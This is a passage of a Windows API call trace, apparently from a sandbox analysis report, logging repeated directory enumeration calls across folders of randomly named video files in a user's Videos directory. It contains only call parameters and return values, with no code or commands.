ftLastWriteTime.dwLowDateTime=0x3a7ac630, ftLastWriteTime.dwHighDateTime=0x1d99a0c, nFileSizeHigh=0x0, nFileSizeLow=0x138b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="V-SokmfiE.avi", cAlternateFileName="V-SOKM~1.AVI")) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565cf760, ftCreationTime.dwHighDateTime=0x1d98e63, ftLastAccessTime.dwLowDateTime=0x1023a970, ftLastAccessTime.dwHighDateTime=0x1d99164, ftLastWriteTime.dwLowDateTime=0x1023a970, ftLastWriteTime.dwHighDateTime=0x1d99164, nFileSizeHigh=0x0, nFileSizeLow=0x2537, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFTZLiJ_SwU6s3UIvf0J.mp4", cAlternateFileName="VFTZLI~1.MP4")) returned 1 [0220.705] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565cf760, ftCreationTime.dwHighDateTime=0x1d98e63, ftLastAccessTime.dwLowDateTime=0x1023a970, ftLastAccessTime.dwHighDateTime=0x1d99164, ftLastWriteTime.dwLowDateTime=0x1023a970, ftLastWriteTime.dwHighDateTime=0x1d99164, nFileSizeHigh=0x0, nFileSizeLow=0x2537, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFTZLiJ_SwU6s3UIvf0J.mp4", cAlternateFileName="VFTZLI~1.MP4")) returned 0 [0220.705] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0220.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.705] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN", lpFilePart=0x0) returned 0x26 [0220.705] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\natffauen\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861d10, ftCreationTime.dwHighDateTime=0x1d996a9, ftLastAccessTime.dwLowDateTime=0xb6277560, ftLastAccessTime.dwHighDateTime=0x1d99946, ftLastWriteTime.dwLowDateTime=0xb6277560, ftLastWriteTime.dwHighDateTime=0x1d99946, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4e10 [0220.706] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861d10, ftCreationTime.dwHighDateTime=0x1d996a9, ftLastAccessTime.dwLowDateTime=0xb6277560, ftLastAccessTime.dwHighDateTime=0x1d99946, ftLastWriteTime.dwLowDateTime=0xb6277560, ftLastWriteTime.dwHighDateTime=0x1d99946, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.706] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3095cb50, ftCreationTime.dwHighDateTime=0x1d99035, ftLastAccessTime.dwLowDateTime=0x87dc1250, ftLastAccessTime.dwHighDateTime=0x1d996a4, ftLastWriteTime.dwLowDateTime=0x87dc1250, ftLastWriteTime.dwHighDateTime=0x1d996a4, nFileSizeHigh=0x0, nFileSizeLow=0x1073b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3JBUVQH.flv", cAlternateFileName="")) returned 1 [0220.706] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba259f0, ftCreationTime.dwHighDateTime=0x1d99269, ftLastAccessTime.dwLowDateTime=0xd7102850, ftLastAccessTime.dwHighDateTime=0x1d996ce, ftLastWriteTime.dwLowDateTime=0xd7102850, ftLastWriteTime.dwHighDateTime=0x1d996ce, nFileSizeHigh=0x0, nFileSizeLow=0x9213, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdgeDY8Dv.avi", cAlternateFileName="CDGEDY~1.AVI")) returned 1 [0220.706] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19744eb0, ftCreationTime.dwHighDateTime=0x1d99508, ftLastAccessTime.dwLowDateTime=0x43253780, ftLastAccessTime.dwHighDateTime=0x1d99a1a, ftLastWriteTime.dwLowDateTime=0x43253780, ftLastWriteTime.dwHighDateTime=0x1d99a1a, nFileSizeHigh=0x0, nFileSizeLow=0xdaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="f9-Sh_.flv", cAlternateFileName="")) returned 1 [0220.706] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4b3800, ftCreationTime.dwHighDateTime=0x1d99085, ftLastAccessTime.dwLowDateTime=0x3c696590, ftLastAccessTime.dwHighDateTime=0x1d998f5, ftLastWriteTime.dwLowDateTime=0x3c696590, ftLastWriteTime.dwHighDateTime=0x1d998f5, nFileSizeHigh=0x0, nFileSizeLow=0x9e3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoUVMZmpmy.swf", cAlternateFileName="ONOUVM~1.SWF")) returned 1 [0220.707] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b369f70, ftCreationTime.dwHighDateTime=0x1d99b20, ftLastAccessTime.dwLowDateTime=0x6502eac0, ftLastAccessTime.dwHighDateTime=0x1d99b71, ftLastWriteTime.dwLowDateTime=0x6502eac0, ftLastWriteTime.dwHighDateTime=0x1d99b71, nFileSizeHigh=0x0, nFileSizeLow=0x2ed5, dwReserved0=0x0, dwReserved1=0x0, cFileName="xDKE.mkv", cAlternateFileName="")) returned 1 [0220.707] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf4b310, ftCreationTime.dwHighDateTime=0x1d993b7, ftLastAccessTime.dwLowDateTime=0x8dc9d380, ftLastAccessTime.dwHighDateTime=0x1d99ab6, ftLastWriteTime.dwLowDateTime=0x8dc9d380, ftLastWriteTime.dwHighDateTime=0x1d99ab6, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="yG-AB6-R.mp4", cAlternateFileName="")) returned 1 [0220.707] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWi28UdOorxUV81WXTXV", cAlternateFileName="YWI28U~1")) returned 1 [0220.707] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWi28UdOorxUV81WXTXV", cAlternateFileName="YWI28U~1")) returned 0 [0220.707] FindClose (in: hFindFile=0x1d1f4e10 | out: hFindFile=0x1d1f4e10) returned 1 [0220.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.708] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN", lpFilePart=0x0) returned 0x26 [0220.708] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\natffauen\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861d10, ftCreationTime.dwHighDateTime=0x1d996a9, ftLastAccessTime.dwLowDateTime=0xb6277560, ftLastAccessTime.dwHighDateTime=0x1d99946, ftLastWriteTime.dwLowDateTime=0xb6277560, ftLastWriteTime.dwHighDateTime=0x1d99946, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f47b0 [0220.708] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861d10, ftCreationTime.dwHighDateTime=0x1d996a9, ftLastAccessTime.dwLowDateTime=0xb6277560, ftLastAccessTime.dwHighDateTime=0x1d99946, ftLastWriteTime.dwLowDateTime=0xb6277560, ftLastWriteTime.dwHighDateTime=0x1d99946, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.708] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3095cb50, ftCreationTime.dwHighDateTime=0x1d99035, ftLastAccessTime.dwLowDateTime=0x87dc1250, ftLastAccessTime.dwHighDateTime=0x1d996a4, ftLastWriteTime.dwLowDateTime=0x87dc1250, ftLastWriteTime.dwHighDateTime=0x1d996a4, nFileSizeHigh=0x0, nFileSizeLow=0x1073b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3JBUVQH.flv", cAlternateFileName="")) returned 1 [0220.708] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba259f0, ftCreationTime.dwHighDateTime=0x1d99269, ftLastAccessTime.dwLowDateTime=0xd7102850, ftLastAccessTime.dwHighDateTime=0x1d996ce, ftLastWriteTime.dwLowDateTime=0xd7102850, ftLastWriteTime.dwHighDateTime=0x1d996ce, nFileSizeHigh=0x0, nFileSizeLow=0x9213, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdgeDY8Dv.avi", cAlternateFileName="CDGEDY~1.AVI")) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19744eb0, ftCreationTime.dwHighDateTime=0x1d99508, ftLastAccessTime.dwLowDateTime=0x43253780, ftLastAccessTime.dwHighDateTime=0x1d99a1a, ftLastWriteTime.dwLowDateTime=0x43253780, ftLastWriteTime.dwHighDateTime=0x1d99a1a, nFileSizeHigh=0x0, nFileSizeLow=0xdaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="f9-Sh_.flv", cAlternateFileName="")) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4b3800, ftCreationTime.dwHighDateTime=0x1d99085, ftLastAccessTime.dwLowDateTime=0x3c696590, ftLastAccessTime.dwHighDateTime=0x1d998f5, ftLastWriteTime.dwLowDateTime=0x3c696590, ftLastWriteTime.dwHighDateTime=0x1d998f5, nFileSizeHigh=0x0, nFileSizeLow=0x9e3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoUVMZmpmy.swf", cAlternateFileName="ONOUVM~1.SWF")) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b369f70, ftCreationTime.dwHighDateTime=0x1d99b20, ftLastAccessTime.dwLowDateTime=0x6502eac0, ftLastAccessTime.dwHighDateTime=0x1d99b71, ftLastWriteTime.dwLowDateTime=0x6502eac0, ftLastWriteTime.dwHighDateTime=0x1d99b71, nFileSizeHigh=0x0, nFileSizeLow=0x2ed5, dwReserved0=0x0, dwReserved1=0x0, cFileName="xDKE.mkv", cAlternateFileName="")) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf4b310, ftCreationTime.dwHighDateTime=0x1d993b7, ftLastAccessTime.dwLowDateTime=0x8dc9d380, ftLastAccessTime.dwHighDateTime=0x1d99ab6, ftLastWriteTime.dwLowDateTime=0x8dc9d380, ftLastWriteTime.dwHighDateTime=0x1d99ab6, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="yG-AB6-R.mp4", cAlternateFileName="")) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWi28UdOorxUV81WXTXV", cAlternateFileName="YWI28U~1")) returned 1 [0220.710] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.710] FindClose (in: hFindFile=0x1d1f47b0 | out: hFindFile=0x1d1f47b0) returned 1 [0220.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.710] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\YWi28UdOorxUV81WXTXV", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\YWi28UdOorxUV81WXTXV", lpFilePart=0x0) returned 0x3b [0220.710] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\YWi28UdOorxUV81WXTXV\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\natffauen\\ywi28udoorxuv81wxtxv\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0220.710] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.711] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45939fd0, ftCreationTime.dwHighDateTime=0x1d99311, ftLastAccessTime.dwLowDateTime=0xc617a7f0, ftLastAccessTime.dwHighDateTime=0x1d9957d, ftLastWriteTime.dwLowDateTime=0xc617a7f0, ftLastWriteTime.dwHighDateTime=0x1d9957d, nFileSizeHigh=0x0, nFileSizeLow=0xe6e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0hFGOe9rejgdAVM.mp4", cAlternateFileName="0HFGOE~1.MP4")) returned 1 [0220.711] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953f2c40, ftCreationTime.dwHighDateTime=0x1d99bed, ftLastAccessTime.dwLowDateTime=0x2c072fc0, ftLastAccessTime.dwHighDateTime=0x1d99c9c, ftLastWriteTime.dwLowDateTime=0x2c072fc0, ftLastWriteTime.dwHighDateTime=0x1d99c9c, nFileSizeHigh=0x0, nFileSizeLow=0x23a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_Tbzsmp5MvTHsCFDI.avi", cAlternateFileName="Z_TBZS~1.AVI")) returned 1 [0220.711] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.711] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0220.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0220.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0220.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.711] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\YWi28UdOorxUV81WXTXV", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\YWi28UdOorxUV81WXTXV", lpFilePart=0x0) returned 0x3b [0220.711] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\NatffaUeN\\YWi28UdOorxUV81WXTXV\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\natffauen\\ywi28udoorxuv81wxtxv\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.712] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72410660, ftCreationTime.dwHighDateTime=0x1d98dc8, ftLastAccessTime.dwLowDateTime=0x62c13800, ftLastAccessTime.dwHighDateTime=0x1d98e53, ftLastWriteTime.dwLowDateTime=0x62c13800, ftLastWriteTime.dwHighDateTime=0x1d98e53, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.712] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45939fd0, ftCreationTime.dwHighDateTime=0x1d99311, ftLastAccessTime.dwLowDateTime=0xc617a7f0, ftLastAccessTime.dwHighDateTime=0x1d9957d, ftLastWriteTime.dwLowDateTime=0xc617a7f0, ftLastWriteTime.dwHighDateTime=0x1d9957d, nFileSizeHigh=0x0, nFileSizeLow=0xe6e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0hFGOe9rejgdAVM.mp4", cAlternateFileName="0HFGOE~1.MP4")) returned 1 [0220.712] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953f2c40, ftCreationTime.dwHighDateTime=0x1d99bed, ftLastAccessTime.dwLowDateTime=0x2c072fc0, ftLastAccessTime.dwHighDateTime=0x1d99c9c, ftLastWriteTime.dwLowDateTime=0x2c072fc0, ftLastWriteTime.dwHighDateTime=0x1d99c9c, nFileSizeHigh=0x0, nFileSizeLow=0x23a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_Tbzsmp5MvTHsCFDI.avi", cAlternateFileName="Z_TBZS~1.AVI")) returned 1 [0220.712] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953f2c40, ftCreationTime.dwHighDateTime=0x1d99bed, ftLastAccessTime.dwLowDateTime=0x2c072fc0, ftLastAccessTime.dwHighDateTime=0x1d99c9c, ftLastWriteTime.dwLowDateTime=0x2c072fc0, ftLastWriteTime.dwHighDateTime=0x1d99c9c, nFileSizeHigh=0x0, nFileSizeLow=0x23a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_Tbzsmp5MvTHsCFDI.avi", cAlternateFileName="Z_TBZS~1.AVI")) returned 0 [0220.712] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0220.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0220.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0220.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.713] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\Us7z3QC0Av1M", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos\\Us7z3QC0Av1M", lpFilePart=0x0) returned 0x29 [0220.713] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\Us7z3QC0Av1M\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\us7z3qc0av1m\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6fa5ee0, ftCreationTime.dwHighDateTime=0x1d99a1a, ftLastAccessTime.dwLowDateTime=0x1a6d65a0, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0x1a6d65a0, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0220.713] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6fa5ee0, ftCreationTime.dwHighDateTime=0x1d99a1a, ftLastAccessTime.dwLowDateTime=0x1a6d65a0, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0x1a6d65a0, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.713] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x186ac0d0, ftCreationTime.dwHighDateTime=0x1d99c01, ftLastAccessTime.dwLowDateTime=0xebefea40, ftLastAccessTime.dwHighDateTime=0x1d99cdb, ftLastWriteTime.dwLowDateTime=0xebefea40, ftLastWriteTime.dwHighDateTime=0x1d99cdb, nFileSizeHigh=0x0, nFileSizeLow=0x17d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-nXdHAE25r_-Tfcf9.mp4", cAlternateFileName="-NXDHA~1.MP4")) returned 1 [0220.713] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc1d1b10, ftCreationTime.dwHighDateTime=0x1d9989e, ftLastAccessTime.dwLowDateTime=0x994e9c60, ftLastAccessTime.dwHighDateTime=0x1d99c21, ftLastWriteTime.dwLowDateTime=0x994e9c60, ftLastWriteTime.dwHighDateTime=0x1d99c21, nFileSizeHigh=0x0, nFileSizeLow=0x2372, dwReserved0=0x0, dwReserved1=0x0, cFileName="6xNaBim0.avi", cAlternateFileName="")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94f2790, ftCreationTime.dwHighDateTime=0x1d98f21, ftLastAccessTime.dwLowDateTime=0x3722ce90, ftLastAccessTime.dwHighDateTime=0x1d9949b, ftLastWriteTime.dwLowDateTime=0x3722ce90, ftLastWriteTime.dwHighDateTime=0x1d9949b, nFileSizeHigh=0x0, nFileSizeLow=0x187c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="7DLlmj_jhLu3.flv", cAlternateFileName="7DLLMJ~1.FLV")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c409db0, ftCreationTime.dwHighDateTime=0x1d99769, ftLastAccessTime.dwLowDateTime=0x7044c000, ftLastAccessTime.dwHighDateTime=0x1d99772, ftLastWriteTime.dwLowDateTime=0x7044c000, ftLastWriteTime.dwHighDateTime=0x1d99772, nFileSizeHigh=0x0, nFileSizeLow=0xf8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9p3teRyxhpyYaTpta.mkv", cAlternateFileName="9P3TER~1.MKV")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: 